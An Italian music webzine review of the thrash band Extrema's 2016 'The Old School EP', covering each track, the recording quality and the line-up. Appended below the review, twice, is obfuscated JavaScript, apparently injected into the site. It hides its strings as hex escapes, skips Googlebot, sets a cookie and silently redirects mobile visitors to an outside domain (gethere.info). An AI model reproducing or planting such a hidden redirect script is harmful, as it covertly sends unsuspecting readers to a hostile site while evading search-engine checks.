EXTREMA – The Old School EP

EXTREMA – The Old School EP

EXTREMA – The Old School EP

TITOLO: The Old School EP
BAND: Extrema
ANNO: 2016
LABEL: Punishment 18 Records
GENERE: Thrash Metal
COUNTRY: Italia

 

Gli Extrema con tutto il diritto dopo una carriera fatta di alti e bassi oramai sono da tempo considerati tra i portabandiera del metal italiano, specialmente delle sonorità più thrashy del bel paese. The Old School EP già dal titolo (e dalla copertina ma di quella parleremo più tardi) presenta subito una chiara intenzione d’intenti: riportare alla ribalta con forza e prepotenza la vecchia scuola del metal, quella a cavallo tra gli ’80 e i ’90 e che nell’ultima decade non sempre ha saputo darci soddisfazioni.
Lo diciamo subito: in questo lavoro diverse canzoni sono inedite, per lo meno per vie “ufficiali” visto che Child Abuse e M.A.S.S.A.C.R.O. all’epoca sono state pubblicate nel demo tape Rehearsal 89, mentre Tribal Scream e Carcasses sono brani che fino ad oggi non sono mai stati pubblicati in nessun lavoro della storica band italiana ma sono spesso stati cavalli di battaglia nello loro date live. Insomma, già per il fatto di aver pubblicato dei brani che fino ad ora non hanno visto la luce – tranne per Life, che per l’occasione è stata ri-registrata e poi ne hanno messo pure una versione live, che comunque era presente già nel debutto – è un’operazione che ha un certo senso ed importanza, considerando pure il fatto che sono brani scritti in quel periodo lontano qual è il 1987 e i fan duri e puri hanno di che gioire al riguardo. Parliamo di un periodo in cui il thrash era in uno stato di grazia e che pure nel nostro paese ha avuto delle gran belle soddisfazioni – per lo meno a livello artistico – e che oggi la band con questo Ep ci porta al passato ma con uno sguardo al presente: il sound è meno groovy-oriented di quanto ci avevano abituato gli ultimi lavori ed è molto più orientato ad un thrash selvaggio e travolgente.
Gli Extrema come opener ci danno subito in pasto Life (già presente su Tension at the Seams uscito nel ’93) e già da subito non si fanno prigionieri: la chitarra ci accoglie con delle distorsioni a cui si sovrappongono alcuni riffs e un’assolo di sottofondo per poi lasciare subito spazio a delle rasoiate thrash tipiche degli anni ’80. Con l’intervento al micorofono di Perotti e l’entrata in gioco dei fratelli del ritmo, il sound prende corpo e vigore e si rafforza ulteriormente: la batteria è pestata e da un ritmo forsennato al pezzo; questo insieme al riffing secco e deciso ci invitano ad un headbanging selvaggio. La canzone è un concentrato di rabbia e alla seconda metà del secondo minuto presenta un rallentamento a cui sopraggiunge poi un’assolo di chitarra ben integrato nel pezzo: finito questo il pezzo ritorna sulle coordinate forsennate di prima per poi concludersi. Opener perfetta che in meno di quattro minuti ci da una bella botta di thrash terremotante, semplice e sfrontato come raramente si è potuto sentire negli ultimi anni.
E con il secondo pezzo non pensate che la musica cambi! Carcasses parte subito in quarta e seppur è leggermente più lento dell’opener è un pezzo decisamente potente ed energico che presenta un guitarworks ispirato e che presenta dei riffoni pesanti come macigni.
La canzone si alterna tra parti più ritmate e parti più veloci: nelle prime risalta la rabbia del cantante, nel secondo invece il lavoro dietro alle pelli. A poco meno della metà della canzone c’è un rallentamento in cui traspare il buon lavoro del batterista, per poi tuffarsi su un’assolo al fulmicotone che da una grande accelerata al pezzo e ci accompagna alla parte finale che riparte dalla parte rallentata che ha introdotto l’assolo per poi riportarci sui lidi tipici del ritornello e con un fraseggio tipico dell’heavy metal il pezzo si conclude.
Un altro pezzo dalla durata breve e concisa, sono solo tre i minuti di durata, ma sono momenti intensi e travolgenti nei quali non c’è un secondo che sia fuori luogo o che risulti noioso.
E passiamo quindi alla terza traccia dal titolo Tribal Scream. E partiamo subito con un guitarwork molto buono che insieme al mid tempo eseguito dalla batteria si tiene su modalità più “calme” dei primi due pezzi. Il pezzo continua con un’alternanza tra il mid tempo di prima e parti un pizzico più vigorose graziate dall’ottima prestazione del batterista finché non giungiamo all’assolo di Massara che risulta intelligentemente strutturato e dona molto al pezzo in sé: finito questo c’è spazio per qualche giro di basso per poi riportare alla vita ancora un altro assolo di breve durata per poi riprendere le sonorità precedenti agli assoli ed il pezzo termina poco dopo. Qui è presente un piccolo calo qualitativo: non è assolutamente un filler, né tantomeno una brutta canzone ma risulta meno ispirata dei pezzi precendenti.
E dopo questo la band ci serve sul piatto l’eloquente Child Abuse: pezzo potente e carico, che si tiene su ritmiche più dismesse sulla scia del precedente ed ha un sound sfrontato e ruvido. Pezzo più riuscito del precedente che vede negli assoli alcuni dei momenti più riusciti e con delle improvvise accelerazioni ritmiche che insieme agli assoli ci danno in pasto un sound senza dubbio più ispirato e movimentato: qui tutta la band è sul pezzo e tutti e quattro i musicisti danno una perfomance maiuscola.
Con la quinta canzone i nostri decidono di cambiare per un momento le carte in tavola: no non hanno cambiato genere, né tanto meno si son dati ad ardite sperimentazioni ma semplicemente hanno deciso di darci in pasto una traccia completamente strumentale. M.A.S.S.A.C.R.O. ha nelle sue evoluzioni strumentali e nel ritmo veloce e frenetico i suoi principali punti di forza: sono poco più di cinque minuti divertenti quelli proposti in cui si alternano riffs decisi ad assoli a volte melodici, altre volte invece virtuosi che qui trovano l’apice in questo Ep; c’è pure spazio per il basso solista qui, la batteria batte sempre su ritmiche veloci e Francesco “Frullo” La Rosa qui ci da la sua ennesima prestazione sopra le righe, dimostrando di essere in sintonia con il resto della band.
Ma non è ancora finita qui: infatti in questo lavoro trovano spazio altre due canzoni che sono state riprese in sede live nella quale la band da tutta la potenza e la carica possibile. I due pezzi in questione sono la già citata Life che qui ha una marcia in più e nella quale la band dimostra di saper riproporre perfettamente l’intensità del suo sound pure dal vivo e poi la mitica Ace Of Spades degli storici Motörhead – stiamo parlando della traccia dell’omonimo capolavoro uscito nel 1980 in piena corrente New Wave of British Heavy Metal – in cui la band riesce a proporla con fedeltà e al tempo stesso con personalità: il basso non è possente quanto quello del compianto Lemmy (venuto a mancare alla fine del 2015) ma comunque tiene botta e la prestazione della band è assolutamente ottima e omaggiano nel migliore dei modi uno dei loro idoli; assolutamente positivo il fatto di aver scelto una cover eseguita dal vivo invece della classica reinterpretazione fredda fatta in studio (con le dovute eccezioni del caso ovviamente).
Ed è con una cover di un capolavoro immortale che i nostrani thrasher decidono di concludere questo Ep, una cover poi perfettamente coerente ed in linea con la vecchia scuola al quale il titolo fa riferimento. Possiamo dire quindi che l’Ep sia perfettamente riuscito e che con questo concentrato di ventotto minuti sono pure riusciti a dimostrare cosa sia e cosa significhi portare avanti la vecchia scuola nel metal nel miglior modo possibile: un lavoro genuino insomma che sarà particolarmente apprezzato da chi segue la band da diversi anni e da tutti gli amanti delle sonorità thrash a cavallo tra gli ’80 e i ’90. Un piccolo “esperimento” se vogliamo, che nella sua breve durata risulta intenso e coinvolgente non dando momenti morti e noiosi ma anzi diverte e gasa l’ascoltatore: ed è qui che l’esperienza ed il “mestiere” vengono a galla, visto che hanno saputo dosare bene il tutto e si è preferito di anteporre la qualità che la quantità (quanti dischi per via della loro lunghezza spesso si perdono in lungaggini inutili o tempi morti deleteri?).
La chitarra di Massara è a livelli notevoli snocciolando riffs pesanti e laceranti, conditi da assoli veloci e fulminei, la prestazione di La Rosa dietro alle pelli come avete potuto leggere e vincente e convincente, il basso di Gabri Giovanna purtroppo non è sempre presente ma quando emerge lo fa con forza e la prestazione di GL Perotti dietro al microfono è più rabbiosa ed incazzata che mai.
La qualità di registrazione è ottima e valorizza al massimo il sound degli Extrema, dandogli un peso ed una corposità che in questo genere sono fattori molto importanti, al tempo stesso gli strumenti sono puliti e non si accavallano tra di loro, seppure il basso a volte sia timido e rimane nascosto e pollice verso pure per i due pezzi live che non risultano caotici e che anzi trasmettono su disco il calore e l’energia che la band dà nei suoi concerti; la cover del disco è invece pregna di auto-citazionismo per la loro carriera con dei rimandi all’old school del titolo.
Con questo Ep la band sigilla un nuovo capitolo discografico assolutamente vincente, dimostrando – come se ce ne fosse ancora bisogno – che pure il nostro paese ha molto da dire/dare nel metal e pure loro contribuiscono attivamente a quest’anno a dir poco meraviglioso per gli amanti del thrash metal: i lavori dei Megadeth, Voivod, Vektor tra i tanti sono stati dischi molto ben riusciti che hanno riportato la lancetta indietro di trent’anni e a questo dobbiamo pure aggiungere certi lavori che dovranno uscire dall’underground statunitense e di altri nomi storici mondiali.

Voto:85/100

Tracklist:
01. Life
02. Carcasses
03. Tribal Scream
04. Child Abuse
05. M.A.S.S.A.C.R.O.
06. Life (Live)
07. Ace Of Spades (Live, Motörhead cover)

Line Up:
GL Perotti – Voce
Tommy Massara – Chitarra
Gabri Giovanna – Basso
Francesco “Frullo” La Rosa – Batteria

https://www.facebook.com/extrema.official/?fref=ts

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sebastiano Dall'Armellina

sebastiano